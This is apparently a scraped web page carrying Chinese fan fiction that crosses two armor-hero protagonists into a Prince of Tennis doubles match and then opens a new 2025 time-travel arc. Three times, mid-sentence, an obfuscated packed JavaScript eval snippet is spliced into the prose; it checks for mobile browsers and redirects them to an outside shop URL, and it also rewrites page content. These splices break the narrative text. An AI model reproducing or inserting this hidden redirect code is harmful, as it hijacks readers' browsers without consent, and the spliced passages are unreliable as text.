还以为西钊肌肉拉伤的北淼听闻是这理由,脸色瞬间黑下来:“破我们招数的是他们、怼着你脸打的也是他们,你竟然还关心起他们会不会挨打?你不是说球场的对手就是战场的‘敌人’吗?难道你要对敌人心软?” 西钊知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334669|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北淼发火是因为担心这种犹豫会让他受伤。他自知理亏,只是低着头没有反驳。钟国光虽然知道西钊的顾虑是对的,但他也知道北淼不是会在气头上听劝的人——至少不会听他的。 如同一拳打上棉花的北淼见西钊一言不发地任他骂,下一句话哽在喉咙里半天,最终变成一声叹息。 不知怎地,他忽然想起之前他们通过ERP实验室的数据分析各自的战力。明明雪獒铠甲的数值都很高,但北淼回忆他和西钊的战斗,又觉得与美真的数值不符,雪獒铠甲的强度也就那样。后来他才了解到,不是雪獒铠甲不够强,而是驾驭它的西钊没有那么强烈的战意。 西钊这家伙一直对不必要或者不认可的战斗很消极。在一切说开之后,这算是众所周知的事情。北淼在心里又叹了口气。西钊这个破观念到现在都没改,打个网球被“霸凌”了还要想着怎么还手才不会伤害别人。有时候北淼真不明白抬手给对面一拳让他们长点教训有多难。 “所以你要做站在他面前为他挥拳的那个人。”钟国光的声音唐突出现在北淼的脑海,他差点忘了自己是能和钟国光意识共通的。 “……受教了。” 北淼往对面窃窃私语的任王齐远那边看了一眼,眼神凌厉。他不再胡思乱想,拍拍西钊的肩膀拉着他回场内:“算了算了。你没事就行。你和大石放开手打,有我和国光给你撑着。” “对。每一球都是经验。”西钊在后场的位置站好之后,石毅也带着调侃的语气鼓励道,“说不定他们觉得你刚刚那一分是故意放水嘲讽他们的。” 西钊渐渐恢复状态,顺利防守住一个打向后场死角的球:“……既然要‘嘲讽’,就嘲讽到底。告诉国光,让他把我的原话传给北淼,北淼会明白的。” “好。” 又是几个网前短球的对峙,齐远主打一个出其不意,突然将球打向后场的“石毅”,目的明确、对着身体直击。此时,北淼也收到了钟国光的传信,侧过身为西钊清出道路。 只见西钊直起腰、握着球拍的手慢慢垂在身侧,摆明了不打算回球。他眼睛也不眨一下,歪头抬手、一声闷响过后,疾驰而来的网球便被他牢牢钳制在手心。 “30:30” 西钊将网球随意地在手中抛接,嘴角是意味深长的笑容。他甩手将球扔给负责发球的任王,却并未马上放下手臂,而是正对着任王,掌心朝上,缓缓曲起四指,握拍的右手将球拍搭在肩膀,微微歪了脑袋。 他语气柔和、却带着些许挑衅:“再来啊。” 再次的“故意失分”成功扰乱了立海大原本的节奏。任王咬咬牙向发球区的侧面发球,西钊也十分自然地往他所在的后场回球。 任王原本以为会是西钊与他展开拉锯战,然而,一直在网前观察的北淼和钟国光突然同步起跳,拦截住一个中高吊球准备进行“垂直扣杀”。但北淼改变了击球点和握拍角度,让这个扣球变得不再“垂直”,更像是一个普通的低压球。于是,这个球被网前的齐远毫不费力地截住,反手打向北淼身体左侧的空隙。 本以为这个截球会稳稳落地,谁知后场的“石毅”以几乎不可能的速度伸拍上前,球正好落在拍子中心,斜向弹起。正当大家以为这是个绝佳的短球防守时,西钊球拍一转,又把准备过网的球给“捞”了回来,使其稳稳立于水平的拍面。 “30:40” “这、这让球也太明显了?”陶成武一手困惑挠头,一手指着随意把球拍上的球重新打回去给任王发球的“大石”。 周助放下一直环抱着的手臂,摇摇头:“这次,队长的策略我也看不懂了。” “再这样下去,立海大这局就要赢了!大石他到底在想什么?”鞠万也不明白一向稳重的“大石”为什么接二连三在莫名其妙的地方失分。 只有钱真智和龙马临危不乱。龙马甚至比刚刚更加放松,似乎对目前的局面喜闻乐见。众人还急得仿佛热锅上的蚂蚁,只听龙马喃喃自语道:“只有知道所有正确答案的人,才能精准把控试卷的每一分。” 而此时,网球场上,任王还比较冷静,齐远明显因为刚刚的嘲讽和赤裸裸的羞辱面容扭曲,几乎红了眼。网前的西钊和后场的北淼默契对视,微微点头。 “你确定要这么做吗,国光?”北淼毫不留情地对齐远充满怒火的几次高压球和扣杀予以回击,还不忘向钟国光确认战术、调侃两句,“我还以为、绝招被破,身为队长的你会一蹶不振呢。” 钟国光跟随北淼的动作挥拍,不自觉笑了笑:“得意技被破解,反而是件好事。所谓‘不破不立’。也让我有了刚刚那个猜想。” 北淼一声轻哼,与网前的西钊紧密配合。西钊跟随石毅的指导迅速移动,在观察出任王打出削球的前提条件之后立即偏头给北淼一个眼神暗示。他们默契点头、拉开阵型。北淼与钟国光再度立足划圆、可视气流翻涌在周身。 正如钟国光所料,任王看准时机凌空跃起,对着“钟国光”的领域就是一记削球,成功以球自身的旋转破解“领域”的气流,使其擦过北淼挥拍的死角落向地面。 “2:4,立海大领先。” “干得漂亮。”准备下场休息时,北淼与西钊迎面击掌,同时也是对钟国光策略的认可。 “削球果然对‘领域’不利,我知道该怎么完善了。谢谢,北淼。” 观众席上的队员们还在头脑风暴,他们不理解为什么输了这局的“队长”和“大石”还高兴击掌,而立海大的齐远和任王同样没有感觉到任何得分的喜悦。 休息时间结束,当四人交换场地,擦肩而过之时,北淼低哼一声,勾起嘴角。 “当心了,两位。接下来的比赛……将会是我们青学的主场。” TBC 42. 最终胜利 “第7局:青学发球局。” 与之前几局的局促与谨慎截然不同,基本了解立海大击球模式的北淼西钊已不再有所顾虑。 北淼在第一个发球就主动展开攻势,将原本快速发往场地外侧的“消失发球”改变轨迹,转为折返网前的旋球。根据“消失发球”预判球路、准备在场地侧面接球的任王就这样被自己的预判误导,在球弹起的相反方向挥了个空拍。 “15:0” 紧接着,西钊用他的“西钊式二刀流”逐渐加快比赛的节奏,与后场的齐远展开拉锯战。齐远每个打向西钊身体的球都被某种特殊的气流改变方向、最终以四两拨千斤之势怼着他身旁的空档毫不客气地反击,明眼人都能看出,那摆明就是“这一球我可以往你脸上打,但我决定让你接”的挑衅式让球。心神不宁的齐远终于还是敌不过西钊一次次的戏弄,回球也失了阵脚,连球网都没过。 “30:0” 青学队员们的欢呼声似乎没有传到北淼与西钊的耳中。他们和钟国光二人默契配合着,心无旁骛。他们的动作越来越流畅、同步率也越来越高,两个平行世界里,四个不同的身影在球场上两两重叠。 当西钊与任王在后场打得有来有回,北淼与钟国光战略同步、同时起跳,不知第几次在网前拦截任王的回球。但这一次,北淼没有使用削球、也没有选择反手球和扣球,而是对着进攻位的齐远打出一个角度和力度都很微妙的上旋球。齐远只能奋力伸手选择用短球反击*。 然而,只听北淼漫不经心一句“过不了网”,齐远的回球缓缓撞上柔软的球网,落在立海大的场内。 “40:0” 齐远捡起那颗网球,用力握在手中,积压的怒火几乎要将它硬生生捏爆。而双打四人组却早已放松心态,仿佛悦耳协调的交响曲,音律各有不同,却在齐声演奏时展现出绝对的协调与默契。 预料到齐远的情绪会影响他的击球方式,西钊和石毅达成共识,在下一球时以强力波动球向齐远宣战。齐远自是不甘示弱,一声嘶吼将其叠加双倍力量“原路奉还”。 面对这个甚至带着火焰拖尾的波动球,西钊丝毫不慌。再次提醒石毅为了避免受伤无需使力之后,西钊汲取之前的教训,将目标对准了齐远身后、任王左侧的死角。 只见他并未一昧抵球施压,而是接球转拍、拖地甩臂,将积蓄的力量在那瞬间爆发。淡红的焰色转为苍蓝,本应如弯月的截击此时如同跨越宇宙的流星直坠场角,甚至于落地之后依旧在原地旋转不停。 “3:4,立海大领先。” 赢下这一局只用了5分钟不到。中场休息时,北淼和西钊习惯性地拳碰拳,而他们身后的队员们已经看愣了眼。 “我没看错吧??诶真智你刚刚有没有看到?”鞠万被这一局碾压式比赛弄得语言系统都要混乱了,伸手不停拍钱真智的肩膀,“他们这打法怎么从来没见过??” 钱真智一时间不知道该看笔记本还是该看面前不远处坐着闲聊的“队长”和“大石”,脸上虽不显苦恼,皱着的眉头却也能表达他的一言难尽。 见钱真智没有回答,周助便开口缓解冷场的尴尬氛围:“把我往外的发球发往内侧,且保持让眼睛捕捉不到的速度……不愧是国光。” “而且你们看到没,刚刚大石那个二刀流,就盯着齐远一个人打,看着像让球,实际上就是在报复。”陈海棠一边说着一边用手肘戳了一下鞠万,看热闹不嫌事大,“以后小心点。你欺负他的每一笔账,大石说不定都记着呢。哪天他报复起来,我反正不会帮忙的。” “喂,海棠,你还是不是兄弟啊!” 这边,鞠万和陈海棠还在闹着,另一边,何春龙还没从震惊里缓回神来,下意识感叹道:“月亮截击和波动球的结合……太恐怖了吧,这看起来完全不像大石的球风啊……” “是也不是。”望着“国光”的背影,龙马冷不丁说了一句,“从现在开始,就是四个人的双打。立海大、已经输了。” “四个人的双打?” 队伍里,没人明白龙马的话,只有钱真智从头到尾低着头,默默推了推眼镜。 “第8局:立海大发球局。” 虽然任王提醒齐远不要被反带节奏,但收效甚微。齐远的发球比任何时候都要快,力度也足够大,也不管是“钟国光”还是“石毅”,怼着人就打。 这一局,西钊在网前,北淼在后场。但当齐远的“暴力球”冲向北淼时,石毅迅速给西钊指示,西钊即刻回头,与北淼对视的瞬间默契换位。齐远的球被西钊轻松接住,转拍拖地、摆出月亮截击的起手式。意料之中地,齐远与任王两人下意识向后场戒备。哪知西钊抬臂挥拍那一刻,却是一记短球,直直落在立海大空无一人防守的网前。 “15:0” 石毅的“月亮短球”战术很成功。这让立海大也稍稍改变了策略。任王在后场与北淼拉锯,而齐远在网前紧盯西钊,仿佛红了眼的野兽随时准备撕咬他的猎物。可惜,齐远并不知道,雪獒在某种意义上,也是猛兽。 钟国光将他的下一个计策告诉面前的石毅以及脑子里的北淼、石毅再将其转述给西钊。他们四人通过这样的跨服沟通,作弊般地达成了普通人无法匹及的同调。 北淼依据钟国光的策略,在后场诱导任王打出高吊球,在网前的西钊石毅同时横向跨步挪至来球的方向,凌空起跳往对面场中扣球*。 按西钊二人的击球点和握拍角度,这理应是陶成武的垂直扣杀。破解其原理的齐远自然有那个信心截球反击。令人意想不到的是,它确实是一个“扣杀”,只不过并不“垂直”,球的轨迹与拍之间甚至呈现出一个极限的锐角,精准穿过齐远想要接球的球拍前端和球网之间、贴着球网落地再高高弹起,最后不轻不重地砸在齐远头顶。 “30:0” 这一球如同压死骆驼的最后一根稻草,彻底引爆了齐远这颗定时炸弹。当然,这也在他们四人的计划之中。 齐远在后场发球之后迅速换位至网前,与任王形成了双网前的强攻阵势。他如法炮制,试图以任王为诱饵,将“暴力球”从西钊脸侧杀向后场的北淼。但西钊在石毅反应过来之前就伸手拦下了那颗高速球。他收回手,将球捏在指间把玩,随即佯装无奈,朝对面露出一个礼貌的假笑:“要是、我们能在不伤及无辜的情况下,结束这场比赛,不是更好吗?” “30:15” 没有人回答西钊的问题,他将球重新丢给齐远,也不在意球在齐远手中被捏至变形。 一边是节奏全乱,一边是悠闲自在。北淼甚至在接下来的一球里问钟国光要不要试试月亮截击。钟国光没有回话,用实际行动表示默许。得知北淼计划的西钊在拦截几个高速短球之后迅速侧身、让任王的回球朝后场的北淼去。 北淼伸拍接球、有学有样地在地上把拍子转了一圈。接着他的球拍在地上划出带着火花的弧度,最终用力挑起手臂,打出标准的高吊球。不过,因为击球点和力度问题,这个球并未如愿地落在界内,而是落在后场底线之外,被判定为界外球。 “30:30” “哎呀,不好意思。”北淼虽然在道歉,语气里却一点愧疚都听不出来。他朝西钊耸耸肩,厚脸皮地露出一个“怎么样?我厉害吧?”的骄傲笑容。 西钊和石毅同时摇摇头,无奈地扯扯嘴角,叹了口气。真是的,要玩就玩点有意思的。西钊如此想着,又和北淼回到了最初北淼网前他在后场的站位。 等任王打向后场的高压球飞驰而来,西钊将重心放在身体其中一边,抬腿向后划出半圆,同时身体展开,抬手作挥拍姿势。与北淼相似的气流随他的动作在周身若隐若现,比起圆形的漩涡气场,西钊的“领域”更像是一条曲线将其一分为二,犹如太极。 而经由此气流产生的旋转、加上西钊巧妙的击球角度,使得这个回球的球速意料之外地缓慢,让任王误以为是网前的短球。他上前起手准备挥拍,球却在拍子即将与其相接触时变换轨迹。任王调整不及,球就这么拐着弯撞上球网,直到它在地面停止回弹,众人才意识到刚刚发生了什么。 “40:30” “这、这怎么可能?!”鞠万双手抱头,觉得大脑的CPU有点发热,“大石也会用‘领域’??怎么球还能临时拐弯的??” 钱真智欲言又止,手里还夹着笔、扶稳眼镜试图看得再清楚些。他低头把笔记往前翻了一页,好一会儿才开口:“和队长的‘领域’不同。这个……我不确定。也许是反过来利用挥拍时产生的气流、结合球本身带来的旋转,影响球的轨迹。这是目前我能想到的唯一解释。” “听不懂。”陶成武对这复杂的原理几乎左耳进右耳出,“队长和大石现在就跟换了个人似的……难道是压力太大激发出潜能了?” 听到“换了个人”这几个字,周助微微皱眉,望向抱臂一言不发看比赛的龙马:“龙马,之前你说的‘四个人的双打’,到底是什么意思?” 龙马抬手将帽檐下压,遮住表情,没有回答。 “接下来玩儿点什么?”齐远发球之前,北淼饶有兴致地问钟国光。 还真玩起来了……钟国光推推鼻梁上的眼镜,暗暗叹息。他自然是知道北淼和西钊对比分心里有数,只是他实在不想让自己一世英名这么“毁”在北淼手里。 “不说话,就当你默许咯。”北淼反手接住齐远打过来的高速球,笑道,“那就来试试小龙的波动球吧。当心,我可不想让你废掉一只手臂。” 钟国光本来也没打算做除了配合行动之外的事情。只见北淼将球拍换至经常使用水甲盾的左手,再次迎着后场齐远直冲他身体的球,从后往前曲臂抵住来球,将自己以水甲盾挥拳的力量积蓄在其中。他的目光瞄准斜对角的空隙,侧身向后拉开弓步、随即甩动手臂,如同投石机一般将球“投掷”出去。 也不知是不敢接还是早已预判不需要接,没有人上前截球,它就这样跨越整个场地,落在界外、弹起好几米高。 “40:40” “啧,还真是有点难度。”北淼将球拍搭在肩头,与回头的西钊简单碰了碰拳,“玩够了,该认真起来了,西钊。赶快结束吧。” “嗯。” 虽然嘴上这么说,但他们的实操并没有收敛多少。在钟国光更细致的指导下,北淼甚至打出了一个擦着网“走钢丝”滚了一段距离、最后落在立海大界内的旋球。 十分戏剧性的是,北淼本想打零式削球,结果听取钟国光的建议尝试了一种全新打法,奇怪的握拍方式与奇怪的击球角度,便得到了这样一个莫名其妙的结果。 “4:4” “好快?!已经连追两分了!”鞠万不顾腿伤,也不知道第几次从椅子上窜起来,又被身边的陈海棠压下去,“队长和大石他们之前就是故意输的吧!” 陶成武在一旁和何春龙勾肩搭背,信心满满:“就是说,咱们双打第一和单打第一组成的队伍,那叫一个——无、人、能、敌!” 钱真智抬眼望向长椅上休息的二人,又低头对自己的数据修修改改:“抛开夸张的数值看,这几局比赛不论从招数还是战术上,都有很高的参考价值。他们之前……除了在适应比赛之外,也算是在为我们之后的提升汲取经验吧。” 钱真智犹豫片刻,没有以“队长”和“大石”做代称,而是直接用了“他们”。 “第9局:青学发球局。” 通过对北淼的观察,西钊似乎掌握了一些以高速旋球发球的门道。但比赛已经进行到后期,为保险起见,他还是选择了更保守的做法。 应石毅“发一个正常人能做到的球”的要求,西钊的力度果然收敛不少——至少龙马能看见击球点和落地点了。当然,让立海大的两人去接雪獒侠用十分之一金之力打出来的发球,还是有些强人所难。 “15:0” 他们四人想法一致,这局、甚至是这场比赛,他们要速战速决。 时隔多球,换位后场的北淼再次压低身体,球拍在地面划出电光火石般的弧线,最终甩臂击球,让球从场地侧面绕到对方的场地内。任谁都能看出,这是一个最普通不过的蛇球。 任王早已识破蛇球的技巧,预判它的回弹角度伸手拦截,却发现球落地之后并未弹起,而是原地旋转几秒,接着慢慢往球网的方向滚动,直至撞到球网才停下。 “30:0” 面对既困惑又震惊的任王,北淼只是退回自己的站位,以“国光式”微笑微微耸起肩膀,摊了摊手。 接下来的一球战况异常激烈,任王后场的回球不断被的西钊网前拦截,而西钊和齐远也再次于网前展开羽毛球式高速短球的对峙。 这时,齐远和任王都在场地偏右侧。石毅忽然让西钊往场中、也就是齐远身后回球。西钊迅速作出反应,而当后场的任王防住这一球打回来时,石毅的念头瞬间传达到西钊的脑海,他们默契地跃起、以削球朝场地左侧反击*。即使网前的齐远跨步伸手,也只是扑了个空,重重摔在场上。 “40:0” 由于比分落后,虽然任王并不是特别认同,但为了赶在队长手术结束之前赢得比赛,他们也不得不放开手脚让齐远再次使用“暴力球”。 但足够的实战经验让北淼西钊二人不再苦于应对,也幸好有西钊拦着,不然北淼可一定会尝试“以眼还眼、以牙还牙”。所以,为了避免北淼一时冲动,西钊以“不会再被球击中”为担保,主动到网前拦截齐远的“子弹”。 最后,结束这一局的,是西钊一个打向对场斜角的高压球,险些出界。究其原因,大概是这个球在上一个来回差点打到了北淼。 这么看来,“暴力球”确实会对他们造成影响,但当这个影响由负转正时,他们每个人都会变得势不可挡。 “5:4,青学领先。” 观众席上一片欢呼,四人在休息的长椅上再次碰拳。 北淼虽然没怎么出汗,但还是给自己灌了口水:“我说,国光,最后一局留给你们打,怎么样?我们闭眼,跟随你们的意志行动。” 钟国光偏头看向靠着他肩膀闭眼小憩的石毅,轻声笑了:“能行吗?” “没问题。”自然而然从北淼手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334670|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里拿过水瓶对嘴喝了一小口的西钊接过话茬,“这本来就是你们的战场。你们应该享有最后的胜利。” 大石一睁眼就看到目光柔和望着他的钟国光,愣神几秒,难为情地移开视线:“……我跟随国光的意见。” “不,大石。我需要你站在我身边。” “第10局:立海大发球局。” 钟国光和石毅打算在双后场和双网前阵型中灵活切换。在各自的站位准备好之后,北淼和在慢慢闭上双眼。 “这、队长和大石这是在做什么?”看着球场上闭眼备战的两人,鞠万思考不能。 龙马微微抬头,若有所思地观察“国光”与“大石”的一举一动。 没人回答鞠万,因为没人知道答案。 这一局的钟国光和石毅并没有像前几局那样展现出洪水般的猛烈攻势,而是更为沉稳谨慎,仿佛回到了最初开局的比赛。 人们一时间不知该惊讶于钟国光两人独特的打球方式,还是该惊讶他们那可以称之为天衣无缝的团队默契。若不是大家都知道青学以这样的组合上场是临时变更,或许会有不知情者误以为这才是青学的“黄金双打”。 突然转变的球风打了任王和齐远一个措手不及。等他们意识到这才是他们熟悉的钟国光和石毅的击球方式时已经太迟。 钟国光没有再使用其他人的技巧、也没有再变幻莫测地打出轨迹多端的球。石毅也没有再与齐远以波动球对峙,比起进攻更偏向于防守。两个人一攻一防,将整个场地完美覆盖、找不出一点纰漏。 他们一个最标准的本格零式削球、一个最完美的本格月亮截击,成功让分数来到了历史性的“40:0”。 最后一球,所有人都屏住呼吸。 钟国光与石毅对视一眼,微微点头。 面对任王偏向中心线的发球,他们的动作几乎完全同步。他们同时压低姿态、拍子在地面同时划出长弧、同时转身,将球拍叠加在一起,正好迎上从发球区弹起的网球。 刹那,力量不断通过球拍积蓄在球与拍撞击的点,强烈的气流在他们周围卷起尘埃,他们的手却稳稳悬在半空,犹如他们的意志不为任何事物撼动。 觉察到手中的球到达临界点的瞬间,北淼与西钊睁开眼睛,与钟国光和石毅一同挥拍。这集四人之力坠落场中、因旋转而竖直高高弹起的网球,为这首喧闹的交响曲画上了休止符。 ———— 只是眨眼功夫,面前景象就完全变了样。 北淼和西钊面面相觑,环顾四周。他们还穿着青学网球队的队服,但手里拿着的却是“D市网球俱乐部”的球拍——等等,D市? 北淼还没来得及找西钊确认,一转眼西钊就已经在他二十米开外,找到一个正好路过的俱乐部工作人员,看起来在套话。 所以……他们这是回来了?啊?在比赛最关键的时候? 虽然重新回到自己的世界是一件好事,但北淼依然有一种电影看到高潮准备结局突然被告知下架的憋屈感。 打断他胡思乱想的是小跑过来的西钊。他似乎还沉浸在刚刚的比赛里,嘴角的笑容压不住眼里的兴奋。他望向工作人员离开的方向,长舒口气:“看样子,我们回来了。这里是国光他们用你的名字包下的俱乐部,离美真那边不远。” “你不好奇吗?”北淼对西钊说的这些没什么兴趣,开门见山地问,“最后那一球到底怎么样了。” “显而易见,他们赢了。”西钊微微耸肩,拿过北淼手里的网球拍准备找地方收好。 “你看到了?” 往出口走的西钊回过头来,脸上挂着北淼再熟悉不过的温和微笑:“没有。但我相信他们。快走吧,我有点饿了。” 北淼不可知否地点点头,快步跟上西钊。突然,他想起什么,抬手摸摸脖子,又掏了掏口袋,像是发条玩具突然卡住一样愣在半途。 “北淼?”听见突兀消失的脚步声,西钊困惑地回头走到北淼身边,“怎么了?” “……黑犀召唤器,在钟国光更衣柜里。” “……………………” ———— “6:4,青学获胜。” 欢呼声响彻整个赛场,让依旧保持握拍姿势的钟国光和石毅恍然回神。 他们环顾四周,发现自己不再是一个“见证者”,而是真正身处此地、掌控着这副身体。 钟国光和石毅不约而同地看向彼此,又望向远处为他们喝彩的队员们,异口同声、又难以置信:“我们……赢了?” 直到他们被队员们团团围住、因之前那些夸张的特技被抓着问到底,重新感受到来自青学网球队集体温暖的他们才终于松了口气—— 嗯,他们回来了。他们胜利了。 ———— “所以……”北淼心虚地摸摸鼻尖,“召唤器在那边只是个普通的‘手机’,对吧?” “对。”美真没好气地把新召唤器和晶片放在吧台上,在北淼伸手要拿的时候拍了一下他的手背,“但它也不是一般物品,不能随便乱放。要是你再把它弄丢,我就——”美真抬手,在自己脖子上横着比划一道。 坐在一旁的西钊幸灾乐祸地笑起来,轻轻拍拍心虚目移的北淼:“好了,我们会注意的。谢谢你,美真。” 就在西钊帮北淼收好召唤器,几人准备各自回去时,一阵手机铃声响起,是北淼的私人手机。 北淼也没看来电显示,心情不佳地“喂”了一声。 “……北淼?” 听到这个声音,北淼瞬间直起腰,难得地瞳孔地震:“钟国光?” “?!”西钊和美真也愣住了,互相对视一眼,一时之间都说不出话。 对面的钟国光听起来似乎很高兴:“我在更衣柜里发现了一套衣服和这个有些特别的手机,应该是你之前留下的,想不到居然真的可以联系到你。其实,这是钱真智的主意。我们一直想通过某种方式,将比赛结果告诉你们。” “我知道,你们赢了。”即使是现在,北淼也想抢抢话题的风头。 “不止如此。我们还拿到了华东大赛的冠军。接下来,就要为全国大赛做准备了。”北淼能听出,钟国光在尽可能保持平静,但语气里依旧藏不住那份激动与喜悦。 “恭喜你们。不过后面的事,我们可帮不上忙了。” 北淼还有下一句没说,不知道是谁抢了钟国光手里的电话:“大……不对,西钊!西钊!那几个月亮截击太酷了!有没有机会再让我们看看啊唔唔唔——” 听起来应该是鞠万抢的,然后被谁捂着嘴推走了。听筒里传来钟国光的叹息,背景里还有大家的欢闹。虽然相处时间不长,但北淼依然为这家庭一般的氛围感慨万千。 “不管怎么样,谢谢你们,北淼,西钊。不知道我们还有没有这个荣幸,通过这部手机,继续保持联系?” 北淼看了看西钊,征求他的意见。西钊朝北淼伸手要来手机,温和笑道:“只要别让我们打网球,怎么都行,国光。” 听筒的另一头,传来了一众遗憾的哀鸣。 FIN 43. 新的旅程 Summary:从青春学院回归,北淼与西钊如愿完成了他们的蜜月旅行。然而就在他们准备起飞回程的前一晚,意外再度发生。这次,时间的指针悄然落在2025,而这个世界的“北淼”与“西钊”、似乎也有些与众不同…… ———— D市,某五星酒店内。 床头柜上放着的手机响起闹铃,虽然自律但依然被床捕获的北淼眯着眼睛坐起来,拿过手机熟练地关闭闹钟。他下意识往身旁看去,嘴里还说着:快起来,我们还要赶飞机。 结果映入北淼眼帘的只有半边空白而整齐的床铺。北淼瞬间清醒。他即刻翻身下床,一边喊着“西钊”,一边查看四周及酒店房间内的情况。直到这时北淼才注意到,他所在的地方并不是和西钊一同在G市机场旁订下的酒店,看上去似乎是更为高级的客房;他身上也没有穿睡衣,而是一套简单的便服,好在和西钊的对戒还戴在手上;房间内没有他和西钊的行装,也没有他的电脑,只有当初他用来装水影石的小挎包,里面是他的钱包、召唤器和一些日常用品。 北淼心里默念数遍“千万别是千万别是”,拿出召唤器放入脖子上的晶片、用力推盖——死水般的沉寂。北淼深吸一口气,不甘心地拿出自己的那部手机,拨打西钊的电话——不在服务区。抱着几乎是最后的希望,北淼拨通了那个跨越时空的号码——信号外无法接通。好吧,连钟国光也联系不上。北淼无能狂怒地盯着手机屏幕,仍倔强地不愿承认摆在面前的事实。 手机界面停留在主菜单,让北淼猛然间注意到一个被方才急躁的他忽略的重要信息:界面上日期的年份赫然写着:2025。 随着最后的遮挡物被撤下,这头只顾向前冲的倔牛最终还是撞上了南墙。北淼不得不承认——他又双叒叕莫名其妙穿越了,并且这次,西钊不在他身边。 令北淼自己也感到意外的是,得出这个结论之后,他反而轻松了不少。或许是因为自己“经验丰富”吧。北淼不禁自暴自弃地想。 和之前两个世界一样,北淼熟练地从所在的酒店着手,开始收集关于这个世界的情报。 他根据房间内的各种温馨提示找到酒店的名称和地址,发现自己并不在G市,而是回到了D市。他给前台打电话,确认他的房间直到后天才退房,期间的费用已经结清。他拉开窗帘,从高处俯瞰这个陌生又熟悉的城市:充满未来的科技感、却也十分亲切。他打开手机测试它在这个世界的情况,了解到它现在只有基本功能可以使用,无法连接网络和蓝牙。他拿出钱包,检查自己的身份证和银行卡以及里面的现金,在离开酒店之前,他还不确定这些在这里是否通用,为了避免一言不合就往局子里蹲,他需要更低调的方式进行测试。 北淼将小挎包整理好,随手扔在床上,打算休息片刻就出门到处看看。结果屁股刚一坐下,他的视线就被墙上挂着的大屏挂墙电视吸引。北淼忽然灵光一现,除了互联网之外,电视是了解整个社会情况的主要媒介之一。他刚刚就应该想到的。没去理会“这个电视屏幕为什么那么大”这种小儿科的废话问题,北淼在床头的墙上找到控制电视的控制面板,按下了开机键。 北淼还没回头看屏幕,就听见里面传来新闻播报的声音:“中国农科院近日在新品种的培育与研究上取得重要进展,下面我们来看……” 哦。农业频道?看来得换个新闻台试试。 然而,等北淼翻出遥控器、转头看向电视画面时,整个人就像被冻结了时间似的全身僵住。他定定看着坐在播报台上的人好一阵子,直至导播切到现场记者的连线,北淼才从震惊中抽离开来。 方才的新闻主持人,就像平行世界的“北淼”和钟国光,和他有着一模一样的外表,但顶着一头黑色的标准“体制内”工作发型,不管是身上的西装、透露出的气质,还是脸上的各种细节,都能看得出岁月在这个人身上留下的痕迹。北淼发现,这个人的声音和自己的并不相同,即使是字正腔圆、吐字清晰的播音腔也带不出“北淼”的那分锐利。 北淼瞥一眼左上角:东方卫视;又瞅一眼右上角:直播。除了打网球之外,还做新闻主持人,平行世界的自己生活真是丰富多——等等,直播?北淼跳脱的逻辑流脑子在胡思乱想中突然抓住重点。 先不管这个家伙的播报室在哪个城市,如果这真是直播,说明他北淼和电视画面中这个人在这个世界是同时存在的。与先前的“替换”不同,北淼就像插入书本中的书签,是世界的“外来者”,因此他不能顶着这张脸贸然行事。北淼如此思考着,眼前的新闻播报也接近尾声,轻音乐伴随滚动的名单迅速在屏幕滑过。北淼不难注意到,在主持人那栏,写着一个完全陌生的名字:柏栩栩。 名字真怪。这是北淼的第一印象。 暗暗记住这些信息之后,北淼开始无聊地换台,寻找关于所在世界更有价值的线索。他还要确认西钊的情况,以及对每个穿越者来说亘古不变的问题:如何回到原本的世界。 北淼的动态视力很好,因此他切得很快,不需要在无关紧要的频道上浪费多少时间:娱乐综艺、言情肥皂剧、文艺汇演、卡通动画、明星访谈、法制栏目……等一下。北淼按下遥控器,将频道调回上一个“明星访谈”。 这是一档名为“启明星”(注1)的娱乐访谈类节目。画面上正在被采访的人脸上是北淼熟悉又陌生的微笑、翘腿抱着吉他在记者面前清唱,似乎是首英文歌。他的声调和发音都很好,让北淼隐约能读出歌词。 I tried so hard, And got so far, But in the end, It doesn''t even matter. I had to fall, To lose it all, But in the end, It doesn''t even matter.(注2) 北淼没听过这首歌,但这个人唱得很好听,让他不禁回忆起西钊那天在公园里弹吉他的模样——不如说,这个名叫“张超”的人,让他想起了关于西钊的一切,因为他有着和西钊完全一致的脸。 在弹唱结束后,记者继续进行着北淼切台之前的采访,内容似乎是有关一部特摄电视剧(注3)的宣发。张超谈及里面他所扮演的角色,给出他对角色的定位。看那个正儿八经的样子和颇有见解的措辞,北淼猜测,他应该是个比较敬业的演员。 这个叫张超的人和柏栩栩一样,北淼想,发型、声音、气质以及年龄和他们都不是一个层面。相较于比小他几岁的钟国光,张超和柏栩栩看上去就好像未来版本的西钊和北淼。不过,现在距离他们的时代已经过去16年,所以在外貌上有这样的变化不奇怪。 此时,关于北淼完全没听进去的宣发阶段已经结束,记者终于开始做她的本职工作:八卦。北淼一向不爱听这些哪怕只是鸡毛蒜皮都能惹得女孩子尖叫发疯的东西,但看着电视里那个人微微歪头、等待记者问话的样子,他举起遥控器的手还是放下了。 记者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 